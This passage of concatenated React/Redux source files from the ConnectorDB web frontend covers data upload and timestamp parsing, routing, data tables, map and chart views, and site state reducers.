}
}
// If the timestamps are before 1985, they're probably not timestamps.
// And if they are, the user can specify the field manually.
if (bestKey === "" || moment.unix(best).isBefore("1985-01-01")) {
yield put({
type: "UPLOADER_PART2",
value: { error: "Could not find timestamp field" }
});
return;
}
timestampKey = bestKey;
}
}
console.log(
"Using field " + timestampKey + " as timestamp for processing data"
);
// OK, at this point, timestampKey is the key of the timestamp. We create a function that will automatically
// convert the data into a unix timestamp given a datapoint
let getT = null;
if (timeformat !== "") {
// There is an explicit time format
if (!moment(d[timestampKey], timeformat).isValid()) {
yield put({
type: "UPLOADER_PART2",
value: {
error: "Could not parse timestamp field '" + timestampKey + "'"
}
});
return;
}
getT = dp => moment(dp[timestampKey], timeformat).unix();
} else if (
typeof d[timestampKey] === "string" && !isNumeric(d[timestampKey])
) {
if (!moment(d[timestampKey]).isValid()) {
yield put({
type: "UPLOADER_PART2",
value: {
error: "Could not parse timestamp field '" + timestampKey + "'"
}
});
return;
}
getT = dp => moment(dp[timestampKey]).unix();
} else {
if (!isNumeric(d[timestampKey])) {
yield put({
type: "UPLOADER_PART2",
value: {
error: "Could not parse timestamp field '" + timestampKey + "'"
}
});
return;
}
getT = dp => dp[timestampKey];
}
// Now we create a generator for the data portion of the datapoint. We remove the timestamp's key from
// the dataset, so it is not included in the resulting dataset.
keys.splice(keys.indexOf(timestampKey), 1);
let getD = isCSV ? dp => parseData(dp[keys[0]]) : dp => dp[keys[0]];
if (keys.length > 1) {
getD = dp => {
let result = {};
for (let i = 0; i < keys.length; i++) {
if (isCSV) {
result[fieldMap[keys[i]]] = parseData(dp[keys[i]]);
} else {
result[fieldMap[keys[i]]] = dp[keys[i]];
}
}
return result;
};
}
// ... and we finally generate the Datapoints
let resultingData = new Array(data.length);
let j = 0;
for (let i = 0; i < data.length; i++) {
try {
resultingData[j] = {
t: getT(data[i]),
d: getD(data[i])
};
j++;
} catch (e) {
console.log("Got error, skipping datapoint", e);
}
}
// We name the result data.
data = resultingData.slice(0, j);
// Finally, let's make sure it is sorted by timestamp
data.sort((a, b) => (a.t > b.t ? 1 : a.t < b.t ? -1 : 0));
console.log("Finished processing data", data);
// Finally, let's run the given transform on the data
if (transform !== "") {
try {
data = pipescript.Script(transform).Transform(data);
} catch (e) {
yield put({ type: "UPLOADER_PART2", value: { error: e.toString() } });
return;
}
console.log("After transform", transform, data);
}
yield put({ type: "UPLOADER_SET", value: { data: data } });
}
function* upload(action) {
let uploader = yield select(state => state.pages.uploader);
let username = yield select(state => state.site.thisUser.name);
// Clear the error
yield put({ type: "UPLOADER_PART3", value: { error: "" } });
if (uploader.data.length === 0) {
yield put({
type: "UPLOADER_PART3",
value: { error: "Process the data first." }
});
return;
}
let s = uploader.part3.stream.split("/");
let data = uploader.data;
if (
uploader.part3.stream.length === 0 ||
s.length != 3 ||
s[0].length == 0 ||
s[1].length == 0 ||
s[2].length == 0
) {
yield put({
type: "UPLOADER_PART3",
value: { error: "Invalid stream name" }
});
return;
}
if (s[0] !== username) {
yield put({
type: "UPLOADER_PART3",
value: { error: "Can't upload to other users" }
});
return;
}
// Show loading bar
yield put({
type: "UPLOADER_PART3",
value: { loading: true, percentdone: 0 }
});
// Now let's try to read the device that will own the stream
let device = null;
try {
device = yield cdbPromise(storage.cdb.readDevice(username, s[1]), 5 * 1000);
} catch (e) {
if (e.toString() != "Error: Can't access this resource.") {
console.log(e.toString());
yield put({
type: "UPLOADER_PART3",
value: { error: e.toString(), loading: false }
});
return;
}
if (s[1] !== "uploads") {
console.log("Looks like the device doesn't exist.");
yield put({
type: "UPLOADER_PART3",
value: { error: "The chosen device does not exist", loading: false }
});
return;
}
console.log("The 'uploads' device doesn't exist. Creating it...");
try {
device = yield cdbPromise(
storage.cdb.createDevice(username, {
name: "uploads",
icon: "material:file_upload",
description: "Device for holding manually uploaded data"
}),
5 * 1000
);
} catch (e) {
console.log(e.toString());
yield put({
type: "UPLOADER_PART3",
value: { error: e.toString(), loading: false }
});
return;
}
}
console.log("Have device", device);
// We now log in as the device, so that we can upload data to its streams
let cdb = new ConnectorDB(
device.apikey,
undefined,
"//" + window.location.host,
false
);
// Check to see if the login was successful
try {
let ping = yield cdbPromise(cdb._doRequest("?q=this", "GET"), 5 * 1000);
if (ping !== s[0] + "/" + s[1]) {
console.log("Ping result:", ping);
yield put({
type: "UPLOADER_PART3",
value: {
error: "Unable to log in as " + s[0] + "/" + s[1],
loading: false
}
});
return;
}
} catch (e) {
console.log(e.toString());
yield put({
type: "UPLOADER_PART3",
value: { error: e.toString(), loading: false }
});
return;
}
// We are logged in! Check if the stream exists
try {
let stream = yield cdbPromise(cdb.readStream(s[0], s[1], s[2]), 5 * 1000);
// The stream exists!
if (!uploader.part3.overwrite) {
yield put({
type: "UPLOADER_PART3",
value: { error: "The stream already exists", loading: false }
});
return;
}
// Since the stream exists, we need to make sure that the data timestamps don't interfere.
// Check the last datapoint
try {
let existingdata = yield cdbPromise(
cdb.indexStream(s[0], s[1], s[2], -1, 0),
5 * 1000
);
if (existingdata.length > 0) {
// We have a datapoint. We check if the timestamp is newer than a point in our current dataset
if (data[0].t < existingdata[0].t) {
console.log(
"Newer data already exists in stream " +
data[0].t +
" < " +
existingdata[0].t
);
if (!uploader.part3.removeolder) {
yield put({
type: "UPLOADER_PART3",
value: {
error: "Newer data already exists in stream",
loading: false
}
});
return;
}
// We now clear the older datapoints from our to-upload Array
let i = 0;
for (i = 0; i < data.length; i++) {
if (data[i].t > existingdata[0].t) {
break;
}
}
if (data.length == i) {
yield put({
type: "UPLOADER_PART3",
value: {
error: "Data existing in stream is newer than all datapoints.",
loading: false
}
});
return;
}
// Now we slice the data array not to include any old datapoints
data = data.slice(i);
console.log("After clearing " + i + " datapoints, left with", data);
}
}
} catch (e) {
console.log(e.toString());
yield put({
type: "UPLOADER_PART3",
value: { error: e.toString(), loading: false }
});
return;
}
} catch (e) {
if (e.toString() != "Error: Can't access this resource.") {
console.log(e.toString());
yield put({
type: "UPLOADER_PART3",
value: { error: e.toString(), loading: false }
});
return;
}
if (!uploader.part3.create) {
yield put({
type: "UPLOADER_PART3",
value: { error: "The stream doesn't exist", loading: false }
});
return;
}
// Create the stream
try {
yield cdbPromise(
cdb.createStream(username, s[1], {
name: s[2],
icon: "material:file_upload"
}),
5 * 1000
);
} catch (e) {
console.log(e.toString());
yield put({
type: "UPLOADER_PART3",
value: { error: e.toString(), loading: false }
});
return;
}
}
// We're ready to start inserting the data! Whew!
// We insert it in batches of 5000, because we don't want to hit upon the insert size limit of ConnectorDB
let total = data.length;
let path = uploader.part3.stream;
let batch = 1000;
try {
while (data.length > 0) {
if (data.length <= batch) {
yield cdbPromise(
cdb._doRequest("crud/" + path + "/data", "POST", data)
);
data = [];
} else {
yield cdbPromise(
cdb._doRequest("crud/" + path + "/data", "POST", data.slice(0, batch))
);
data = data.slice(batch);
}
yield put({
type: "UPLOADER_PART3",
value: { percentdone: (total - data.length) * 100 / total }
});
}
} catch (e) {
console.log(e.toString());
yield put({
type: "UPLOADER_PART3",
value: { error: e.toString(), loading: false }
});
return;
}
// Go to the stream
yield put(go(path));
// Clear the loading bar
yield put({
type: "UPLOADER_PART3",
value: { loading: false, percentdone: 0, stream: "" }
});
}
// We automatically preset the stream name to use the uploads device
function* navigate(action) {
if (action.payload.hash !== "#upload" || action.payload.pathname !== "/") {
return;
}
let uploader = yield select(state => state.pages.uploader);
if (uploader.part3.stream === "") {
let username = yield select(state => state.site.thisUser.name);
yield put({
type: "UPLOADER_PART3",
value: { stream: username + "/uploads/" }
});
}
}
// Our watcher Saga: spawn a new incrementAsync task on each INCREMENT_ASYNC
export default function* uploaderSaga() {
yield takeLatest("UPLOADER_PROCESS", process);
yield takeLatest("UPLOADER_UPLOAD", upload);
yield takeLatest("@@router/LOCATION_CHANGE", navigate);
}
<file_sep>/*
This component renders the main app theme (./theme/Theme.js), and shows the page relevant to the routing shown in the URL.
App represents the expected routing of ConnectorDB, so that we can use the frontend as a single-page application.
ConnectorDB's web frontend uses a /user/device/stream url handling. All of these are redirected to the same code
by the frontend. This means that any part of the app could be queried.
We use the react-router package to manage the urls, and to run the correct javascript for each route.
All of these represent urls that are directly recognized by the ConnectorDB server.
The App component is initialized in index.js. It is react's main entry point.
*/
import React, { Component } from "react";
import PropTypes from "prop-types";
import { connect } from "react-redux";
import { Route } from "react-router";
import Theme from "./theme/Theme";
import MainPage from "./MainPage";
import User from "./User";
import Device from "./Device";
import Stream from "./Stream";
// While the logout url removes all cookies, the frontend uses a special component to do further cleanup,
// since we save a lot of resources offline (so that the app can be used even without internet connection) that
// should be deleted on logout.
import Logout from "./Logout";
const App = () =>
<Theme>
<Route exact path="/" component={MainPage} />
<Route exact path="/logout" component={Logout} />
<Route exact path="/:user" component={User} />
<Route exact path="/:user/:device" component={Device} />
<Route exact path="/:user/:device/:stream" component={Stream} />
</Theme>;
export default App;
<file_sep>import { delay } from "redux-saga";
import { put, takeLatest } from "redux-saga/effects";
// We might want to do certain actions on navigation
function* navigate(action) {
yield put({ type: "SET_ERROR_VALUE", value: action.value });
yield delay(5000);
yield put({ type: "SET_ERROR_VALUE", value: null });
}
// Our watcher Saga: spawn a new incrementAsync task on each INCREMENT_ASYNC
export default function* downlinkSaga() {
//yield takeLatest('@@router/LOCATION_CHANGE', navigate);
}
<file_sep>// MainToolbar is the toolbar shown on the main page, from which you can create new rating streams,
// and so forth
import React, { Component } from "react";
import PropTypes from "prop-types";
import { connect } from "react-redux";
import { go } from "../actions";
import { Card, CardText, CardHeader } from "material-ui/Card";
import FontIcon from "material-ui/FontIcon";
import IconButton from "material-ui/IconButton";
import storage from "../storage";
class MainToolbar extends Component {
static propTypes = {
onAddClick: PropTypes.func.isRequired,
onRatingClick: PropTypes.func.isRequired
};
render() {
return (
<Card style={this.props.style}>
<CardHeader title={"Hi!"} subtitle={"Let's Gather Data!"}>
<div
style={{
float: "right",
marginTop: "-5px",
marginLeft: "-300px"
}}
>
<IconButton onTouchTap={this.props.onAddClick} tooltip="add stream">
<FontIcon className="material-icons" color="rgba(0,0,0,0.8)">
add
</FontIcon>
</IconButton>
<IconButton
onTouchTap={this.props.onRatingClick}
tooltip="add rating"
>
<FontIcon className="material-icons" color="rgba(0,0,0,0.8)">
star
</FontIcon>
</IconButton>
<IconButton
onTouchTap={this.props.onLogClick}
tooltip="add log (diary)"
>
<FontIcon className="material-icons" color="rgba(0,0,0,0.8)">
library_books
</FontIcon>
</IconButton>
<IconButton
onTouchTap={() =>
storage.qls(
this.props.user.name + "/" + this.props.device.name
)}
tooltip="reload"
>
<FontIcon className="material-icons" color="rgba(0,0,0,0.8)">
refresh
</FontIcon>
</IconButton>
</div>
</CardHeader>
</Card>
);
}
}
export default connect(undefined, (dispatch, props) => ({
onAddClick: () =>
dispatch(go(props.user.name + "/" + props.device.name + "#create")),
onRatingClick: () =>
dispatch(
go(props.user.name + "/" + props.device.name + "#create/rating.stars")
),
onLogClick: () =>
dispatch(
go(props.user.name + "/" + props.device.name + "#create/log.diary")
)
}))(MainToolbar);
<file_sep># creators
Creators are custom prompts to show when creating a specific datatype.
A good example is the star rating:
```javascript
/*
Comment describing your creator
*/
import {addCreator} from '../datatypes';
export const ratingSchema = {
type: "integer",
minimum: 0,
maximum: 10
};
// addCreator is given a datatype, and you submit the following object:
addCreator("rating.stars", {
// A react component to show in the required section
required: null,
// A react component to show in the optional section
optional: null,
// A description for the datatype, shown at the head
description: "A rating allows you to manually rate things such as your mood or productivity out of 10 stars. Ratings are your way of telling ConnectorDB how you think your life is going.",
// The default stream values
default: {
schema: JSON.stringify(ratingSchema),
datatype: "rating.stars",
ephemeral: false,
downlink: false
}
});
```
<file_sep>/*
The DataTable displays a table of the currently queried data. It initially only shows up to 20 datapoints (10 first, 10 last),
but can be set to the "expanded" state, where it shows the entire dataset
*/
import React, { Component } from "react";
import PropTypes from "prop-types";
import moment from "moment";
import DataUpdater from "../components/DataUpdater";
class DataTable extends DataUpdater {
static propTypes = {
data: PropTypes.arrayOf(PropTypes.object).isRequired,
state: PropTypes.object.isRequired,
setState: PropTypes.func.isRequired
};
// transformDataset is required for DataUpdater to set up the modified state data
transformDataset(d, state) {
let dataset = new Array(d.length);
let istime = state.timeon;
if (d.length > 0) {
// In order to show columns in the data table, we first check if the datapoints are objects...
// If they are, then we generate the table so that the object is the columns
if (
d.length == 1 &&
d[0].d !== null &&
typeof d[0].d === "object" &&
Object.keys(d[0].d).length > 4
) {
// It is a single datapoint. We render it as a special data table of key-values
let t = d[0].t;
d = d[0].d;
let keys = Object.keys(d);
dataset = new Array(keys.length);
for (let i = 0; i < keys.length; i++) {
dataset[i] = {
key: keys[i],
t: "",
d: {
Key: keys[i],
Value: istime
? moment.duration(d[keys[i]], "seconds").humanize()
: d[keys[i]]
}
};
}
dataset[0].t = moment.unix(t).calendar();
} else if (
d.length == 1 &&
d[0].d !== null &&
typeof d[0].d !== "object"
) {
// This is a single datapoint with a single value. Show an alternate view
// That highlights the value
dataset[0] = {
key: "singleDP",
t: moment.unix(d[0].t).calendar(),
d: istime
? moment.duration(d[0].d, "seconds").humanize()
: JSON.stringify(d[0].d, undefined, 2)
};
} else if (
d[0].d !== null &&
typeof d[0].d === "object" &&
Object.keys(d[0].d).length < 10
) {
for (let i = 0; i < d.length; i++) {
let data = {};
Object.keys(d[i].d).map(key => {
data[key.capitalizeFirstLetter()] = istime
? moment.duration(d[i].d[key], "seconds").humanize()
: JSON.stringify(d[i].d[key], undefined, 2);
});
dataset[i] = {
key: JSON.stringify(d[i]),
t: moment.unix(d[i].t).calendar(),
d: data
};
}
} else {
for (let i = 0; i < d.length; i++) {
dataset[i] = {
key: JSON.stringify(d[i]),
t: moment.unix(d[i].t).calendar(),
d: {
Data: istime
? moment.duration(d[i].d, "seconds").humanize()
: JSON.stringify(d[i].d, undefined, 2)
}
};
}
}
}
return dataset;
}
render() {
let expanded = this.props.state.tableExpanded;
let data = this.data;
let expandedText = null;
if (data.length == 1 && data[0].key === "singleDP") {
return (
<div style={{ textAlign: "center" }}>
<h6>{data[0].t}</h6>
{data[0].d.length <= 15 ? <h1>{data[0].d}</h1> : <h3>{data[0].d}</h3>}
</div>
);
}
// If the table is not expanded, show only the last 5 if there are more than 10
if (!expanded && data.length > 10) {
expandedText = (
<div
style={{
width: "100%",
textAlign: "center"
}}
>
<a
className="pull-center"
style={{
cursor: "pointer"
}}
onClick={() => this.props.setState({ tableExpanded: true })}
>
Show {(data.length - 5).toString() + " "}
hidden datapoints
</a>
</div>
);
data = data.slice(data.length - 5, data.length);
}
return (
<div style={{ maxHeight: 600, overflowY: "auto" }}>
<table
className="table table-striped"
style={{
width: "100%",
overflow: "auto"
}}
>
<thead>
<tr>
<th>Timestamp</th>
{data.length === 0
? <th>Data</th>
: Object.keys(data[0].d).map(k => <th key={k}>{k}</th>)}
</tr>
</thead>
<tbody>
{data.map(s => {
return (
<tr key={s.key}>
<td>{s.t}</td>
{Object.keys(s.d).map(k => <td key={k}>{s.d[k]}</td>)}
</tr>
);
})}
</tbody>
</table>
{expandedText}
</div>
);
}
}
export default DataTable;
<file_sep>export const StreamEditInitialState = {};
export default function streamEditReducer(state, action) {
switch (action.type) {
case "STREAM_EDIT_CLEAR":
return StreamEditInitialState;
case "STREAM_EDIT":
return {
...state,
...action.value
};
case "STREAM_EDIT_NICKNAME":
return {
...state,
nickname: action.value
};
case "STREAM_EDIT_DESCRIPTION":
return {
...state,
description: action.value
};
case "STREAM_EDIT_DOWNLINK":
return {
...state,
downlink: action.value
};
case "STREAM_EDIT_EPHEMERAL":
return {
...state,
ephemeral: action.value
};
case "STREAM_EDIT_DATATYPE":
return {
...state,
datatype: action.value
};
}
return state;
}
<file_sep>/*
Map shows a map with
*/
import { addView } from "../datatypes";
import React, { Component } from "react";
import PropTypes from "prop-types";
import DataTransformUpdater from "./components/DataUpdater";
import L from "leaflet";
import { Map, Circle, Popup, TileLayer } from "react-leaflet";
// The loader fails on leaflet css, so it is included manually in the template
//import 'leaflet/dist/leaflet.css';
import moment from "moment";
import { location, objectvalues } from "./typecheck";
class MapViewComponent extends DataTransformUpdater {
preprocessData(d) {
// We want to allow displaying numeric data on the map in the form of color. To do this, our datapoints
// might be in a format that is NOT latitude/longitude, but {key1,key2}, where one of the keys is a number,
// and the other key is the location.
// We also want to validate all the datapoints to make sure they can be used for the map.
let dataset = new Array(d.length);
// First, check if it is lat/long or not. We have functions that map the datapoint correctly, with a "color"
// option that allows us to set a magnitude
let latlong = d => d;
let color = d => 0;
if (location(d) === null) {
// We need to find which key is latitude and longitude
let v = objectvalues(d);
let keys = Object.keys(v);
if (v[keys[0]].location !== null) {
latlong = d => d[keys[0]];
color = d => d[keys[1]];
} else {
latlong = d => d[keys[1]];
color = d => d[keys[0]];
}
}
// Now generate the dataset
let j = 0;
let minColor = 9999999999999;
let maxColor = -minColor;
for (let i = 0; i < d.length; i++) {
let dp = latlong(d[i].d);
if (dp.accuracy !== undefined && dp.accuracy > 50) {
// Ignore the datapoint, since it is either invalid or inaccurate
//console.log("ignoring", dp);
} else {
let c = color(d[i].d);
if (c < minColor) minColor = c;
if (c > maxColor) maxColor = c;
dataset[j] = {
latlong: [dp.latitude, dp.longitude],
radius: dp.accuracy !== undefined ? dp.accuracy : 20,
magnitude: c,
t: d[i].t
};
j += 1;
}
}
dataset = dataset.slice(0, j);
// Now, normalize the magnitudes of color to the range of 0 to 1
if (minColor == maxColor) {
for (let i = 0; i < dataset.length; i++) {
dataset[i].magnitude -= minColor;
}
} else {
for (let i = 0; i < dataset.length; i++) {
dataset[i].magnitude =
(dataset[i].magnitude - minColor) / (maxColor - minColor);
}
}
return dataset;
}
// transformDataset is required for DataUpdater to set up the modified state data
transformDataset(d) {
// We can't graph all the datapoints - when there are more than ~1000 datapoints Leaflet slows to
// a total crawl. We will therefore sift through the datapoints so that we are showing UP TO the max number
// of datapoints at all times.
let maxDatapoints = 1000;
let d2 = this.preprocessData(d);
let dataset = new Array(d2.length);
let fillopacity = d2.length > 200 ? 0.1 : d2.length > 50 ? 0.3 : 0.5;
let opacity = d2.length > 300 ? 0.2 : d2.length > 50 ? 0.5 : 0.9;
for (let i = 0; i < d2.length; i++) {
dataset[i] = {
...d2[i],
color: `hsl(${Math.floor(120 * d2[i].magnitude)},100%,50%)`,
fillopacity: fillopacity,
opacity: opacity,
key: JSON.stringify(d2[i]),
popup:
moment.unix(d2[i].t).calendar() +
" - [" +
d2[i].latlong[0].toString() +
"," +
d2[i].latlong[1].toString() +
"]"
};
}
return dataset;
}
render() {
return (
<Map
center={this.data[this.data.length - 1].latlong}
zoom={14}
style={{
width: "100%",
height: "600px"
}}
>
<TileLayer
key="tileLayer"
url="https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png"
attribution="© <a href="http://osm.org/copyright">OpenStreetMap</a> contributors"
/>
{this.data.map(d =>
<Circle
key={d.key}
center={d.latlong}
radius={d.radius}
color={d.color}
fillOpacity={d.fillopacity}
opacity={d.opacity}
weight={2}
>
<Popup>
<p>{d.popup}</p>
</Popup>
</Circle>
)}
</Map>
);
}
}
const MapView = {
key: "mapView",
component: MapViewComponent,
width: "expandable-full",
initialState: {},
title: "Map",
subtitle: ""
};
function showMap(context) {
if (context.data.length > 0) {
// We now check if the data is the correct type
if (location(context.data) !== null) {
return MapView;
}
// There is another option. if there are only 2 keys, and one is a location,
// we can display a map with color-coded magnitude of the second key located
// on the map. This is especially useful for datasets where one of 2 streams
// is location!
let v = objectvalues(context.data);
if (v !== null) {
let keys = Object.keys(v);
if (keys.length == 2) {
if (v[keys[0]].location && v[keys[1]].numeric) {
return MapView;
} else if (v[keys[1]].location && v[keys[0]].numeric) {
return MapView;
}
}
}
}
return null;
}
addView(showMap);
<file_sep>// The setup used for editing users/devices/streams. It includes all of the fields
// shared between users/devices/streams
import React, { Component } from "react";
import PropTypes from "prop-types";
import { Card, CardText, CardHeader, CardActions } from "material-ui/Card";
import Dialog from "material-ui/Dialog";
import FlatButton from "material-ui/FlatButton";
import TextField from "material-ui/TextField";
import Checkbox from "material-ui/Checkbox";
import NicknameEditor from "./edit/NicknameEditor";
import DescriptionEditor from "./edit/DescriptionEditor";
import IconEditor from "./edit/IconEditor";
import AvatarIcon from "./AvatarIcon";
import "../util";
class ObjectEdit extends Component {
static propTypes = {
object: PropTypes.object.isRequired,
path: PropTypes.string.isRequired,
style: PropTypes.object,
state: PropTypes.object.isRequired,
objectLabel: PropTypes.string.isRequired,
callbacks: PropTypes.object.isRequired,
onCancel: PropTypes.func.isRequired,
onDelete: PropTypes.func.isRequired,
onSave: PropTypes.func.isRequired
};
constructor(props) {
super(props);
this.state = {
dialogopen: false
};
}
save() {
this.props.onSave();
}
dialogDeleteClick() {
this.setState({ dialogopen: false });
this.props.onDelete();
}
render() {
let objCapital = this.props.objectLabel.capitalizeFirstLetter();
let obj = this.props.object;
let edits = this.props.state;
let nickname = obj.name.capitalizeFirstLetter();
if (obj.nickname !== undefined && obj.nickname != "") {
nickname = obj.nickname;
}
if (edits.nickname !== undefined && edits.nickname != "") {
nickname = edits.nickname;
}
return (
<Card
style={{
textAlign: "left"
}}
>
<CardHeader
title={nickname}
subtitle={this.props.path}
avatar={
<AvatarIcon
name={obj.name}
iconsrc={edits.icon !== undefined ? edits.icon : obj.icon}
/>
}
/>
<CardText>
<NicknameEditor
type={this.props.objectLabel}
value={edits.nickname !== undefined ? edits.nickname : obj.nickname}
onChange={this.props.callbacks.nicknameChange}
/>
<DescriptionEditor
type={this.props.objectLabel}
value={
edits.description !== undefined
? edits.description
: obj.description
}
onChange={this.props.callbacks.descriptionChange}
/>
<IconEditor
type={this.props.objectLabel}
value={edits.icon !== undefined ? edits.icon : obj.icon}
onChange={this.props.callbacks.iconChange}
/>
{this.props.children}
</CardText>
<CardActions>
<FlatButton
primary={true}
label="Save"
onTouchTap={() => this.save()}
/>
<FlatButton label="Cancel" onTouchTap={this.props.onCancel} />
<FlatButton
label="Delete"
style={{
color: "red",
float: "right"
}}
onTouchTap={() => this.setState({ dialogopen: true })}
/>
</CardActions>
<Dialog
title={"Delete " + objCapital}
actions={[
<FlatButton
label="Cancel"
onTouchTap={() => this.setState({ dialogopen: false })}
keyboardFocused={true}
/>,
<FlatButton
label="Delete"
onTouchTap={() => this.dialogDeleteClick()}
/>
]}
modal={false}
open={this.state.dialogopen}
>
Are you sure you want to delete the {this.props.objectLabel}
{" "}
"{this.props.path}"?
</Dialog>
</Card>
);
}
}
export default ObjectEdit;
<file_sep>/*
This shows a bar chart if the data was manually aggregated into a single-datapoint object with all-number
fields
*/
import { addView } from "../datatypes";
import { generateBarChart } from "./components/BarChart";
const SingleObjectView = [
{
...generateBarChart(),
key: "objectView",
title: "Bar/Pie Chart",
subtitle: ""
}
];
// https://stackoverflow.com/questions/9716468/is-there-any-function-like-isnumeric-in-javascript-to-validate-numbers
function isNumeric(n) {
return !isNaN(parseFloat(n)) && isFinite(n);
}
function showSingleObjectView(context) {
if (context.data.length != 1 || context.pipescript === null) {
return null;
}
// We check if the object has keys
let d = context.data[0].d;
let keys = Object.keys(d);
if (keys.length > 1) {
for (let i = 0; i < keys.length; i++) {
if (!isNumeric(d[keys[i]])) {
return null;
}
}
return SingleObjectView;
}
return null;
}
addView(showSingleObjectView);
<file_sep>import React, { Component } from "react";
import PropTypes from "prop-types";
import QRCode from "qrcode.react";
import { go } from "../actions";
import { app } from "../util";
const InitialState = {
// roles represents the possible permissions allowed by ConnectorDB.
// Note that the values given here correspond to the default ConnectorDB settings.
// One can change ConnectorDB to have a different permissions structure, which would
// make these values inconsistent with ConnectorDB.... so don't do that
roles: {
user: {
user: {
description: "can read/edit own devices and read public users/devices"
},
admin: {
description: "has administrative access to the database"
}
},
device: {
user: {
description:
"has all permissions that the owning user has (Create/Read/Update/Delete)"
},
writer: {
description:
"can read and update basic properties of streams and devices"
},
reader: {
description:
"can read properties of streams and devices, and read their data"
},
none: {
description:
"the device is isolated - it only has access to itself and its own streams"
}
}
},
defaultschemas: [
{
description: "no schema (can insert anything)",
name: "none",
schema: {}
},
{
description: "number",
name: "number",
schema: {
type: "number"
}
},
{
description: "boolean",
name: "boolean",
schema: {
type: "boolean"
}
},
{
description: "string",
name: "string",
schema: {
type: "string"
}
}
],
// navigation is displayed in the app's main nmenu
navigation: [
{
title: "Insert",
subtitle: "Manually insert data",
icon: "star",
page: ""
},
{
title: "Devices",
subtitle: "View your profile",
icon: "devices",
page: "{self}"
},
{
title: "Downlinks",
subtitle: "Control connected devices",
icon: "input",
page: "#downlinks"
},
{
title: "Analysis",
subtitle: "Correlate data streams",
icon: "timeline",
page: "#analysis"
},
{
title: "Upload",
subtitle: "Upload data into ConnectorDB",
icon: "publish",
page: "#upload"
}
],
dropdownMenu: [
{
title: "Server Info",
icon: "info_outline",
action: dispatch => {
dispatch({
type: "SHOW_DIALOG",
value: {
title: "Server Info",
open: true,
contents: (
<div>
<div className="col-sm-8">
<h6>Server:</h6>
<h3>{SiteURL}</h3>
<br />
<h6>Version:</h6>
<h3>{ConnectorDBVersion}</h3>
</div>
<div className="col-sm-4" style={{ textAlign: "right" }}>
<QRCode value={SiteURL} />
</div>
</div>
)
}
});
}
},
{
title: "Documentation",
icon: "help",
action: dispatch => {
window.location.href = "https://connectordb.io/docs/";
}
},
{
title: "Submit Issue",
icon: "bug_report",
action: dispatch => {
window.location.href =
"https://github.com/connectordb/connectordb/issues";
}
},
{
title: "Sign Out",
icon: "power_settings_new",
action: dispatch => dispatch(go("logout"))
}
],
// The currently logged in user and device. This is set up immediately on app start.
// even before the app is rendered. Note that these are NOT updated along with
// the app storage - this is the initial user and device
thisUser: null,
thisDevice: null,
// The URL of the website, also available as global variable "SiteURL". This is set up
// from the context on app load
siteURL: "",
// The status message to show in the snack bar
status: "",
statusvisible: false,
// Show a modal dialog
dialog: {
title: "",
contents: null,
open: false
},
// Whether pipescript is loaded or not - this contains the pipescript library
pipescript: null
};
export default function siteReducer(state = InitialState, action) {
switch (action.type) {
case "LOAD_CONTEXT":
var out = Object.assign({}, state, {
siteURL: action.value.SiteURL,
thisUser: action.value.ThisUser,
thisDevice: action.value.ThisDevice
});
// now set up the navigation correctly (replace {self} with user name)
for (var i = 0; i < out.navigation.length; i++) {
out.navigation[i].title = out.navigation[i].title.replace(
"{self}",
out.thisUser.name
);
out.navigation[i].subtitle = out.navigation[i].subtitle.replace(
"{self}",
out.thisUser.name
);
out.navigation[i].page = out.navigation[i].page.replace(
"{self}",
out.thisUser.name
);
}
return out;
case "PIPESCRIPT":
return {
...state,
pipescript: action.value
};
case "STATUS_HIDE":
return {
...state,
statusvisible: false
};
case "SHOW_STATUS":
return {
...state,
statusvisible: true,
status: action.value
};
case "SHOW_DIALOG":
return {
...state,
dialog: action.value
};
case "DIALOG_HIDE":
return {
...state,
dialog: {
title: "",
contents: null,
open: false
}
};
}
return state;
}
<file_sep>/*
This shows a line chart of the data given. It is assumed that the default transform is already set by the default state (transform property).
*/
import React, { Component } from "react";
import PropTypes from "prop-types";
import createClass from "create-react-class";
import LineChart from "./LineChart";
import DropDownMenu from "material-ui/DropDownMenu";
import MenuItem from "material-ui/MenuItem";
import dropdownTransformDisplay from "./dropdownTransformDisplay";
class DropdownLineChart extends Component {
static propTypes = {
data: PropTypes.arrayOf(PropTypes.object).isRequired,
state: PropTypes.object.isRequired,
setState: PropTypes.func.isRequired,
options: PropTypes.arrayOf(
PropTypes.shape({
description: PropTypes.string,
transform: PropTypes.string.isRequired,
name: PropTypes.string.isRequired
})
)
};
render() {
const { data, state, setState, options } = this.props;
return (
<div
style={{
textAlign: "center"
}}
>
<DropDownMenu
value={state.currentOption}
onChange={(e, i, v) =>
setState({
transform: v.transform,
currentOption: v,
description: v.description
})}
>
{options.map(function(o) {
return (
<MenuItem key={o.transform} value={o} primaryText={o.name} />
);
})}
</DropDownMenu>
<LineChart {...this.props} transform={state.transform} />
</div>
);
}
}
export default DropdownLineChart;
// generate creates a new view that shows the dropdown line chart, and auto-updates
export function generateDropdownLineChart(
description,
options,
defaultOptionIndex
) {
return {
initialState: {
currentOption: options[defaultOptionIndex],
transform: options[defaultOptionIndex].transform,
description: options[defaultOptionIndex].description
},
width: "expandable-half",
dropdown: dropdownTransformDisplay(description, ""),
component: createClass({
render: function() {
return <DropdownLineChart {...this.props} options={options} />;
}
})
};
}
export function generateTimeOptions(type, startup, within) {
// Add a pipe to the startup text, so we can execute the while after it
if (startup.length > 0) {
startup = startup + " | ";
}
return [
{
name: "Hourly " + type,
transform: startup + "while(hour==next:hour," + within + ")"
},
{
name: "Daily " + type,
transform: startup + "while(day==next:day," + within + ")"
},
{
name: "Weekly " + type,
transform: startup + "while(week==next:week," + within + ")"
},
{
name: "Monthly " + type,
transform: startup + "while(month==next:month," + within + ")"
},
{
name: "Yearly " + type,
transform: startup + "while(year==next:year," + within + ")"
}
];
}
<file_sep>import React, { Component } from "react";
import PropTypes from "prop-types";
import { connect } from "react-redux";
import { createCancel, createObject } from "../actions";
import ObjectCreate from "../components/ObjectCreate";
import RoleEditor from "../components/edit/RoleEditor";
import PublicEditor from "../components/edit/PublicEditor";
import EnabledEditor from "../components/edit/EnabledEditor";
import VisibleEditor from "../components/edit/VisibleEditor";
class DeviceCreate extends Component {
static propTypes = {
user: PropTypes.object.isRequired,
state: PropTypes.object.isRequired,
callbacks: PropTypes.object.isRequired,
roles: PropTypes.object.isRequired,
onCancel: PropTypes.func.isRequired,
onSave: PropTypes.func.isRequired
};
render() {
let state = this.props.state;
let callbacks = this.props.callbacks;
return (
<ObjectCreate
type="device"
state={state}
callbacks={callbacks}
parentPath={this.props.user.name}
required={
<RoleEditor
roles={this.props.roles}
role={state.role}
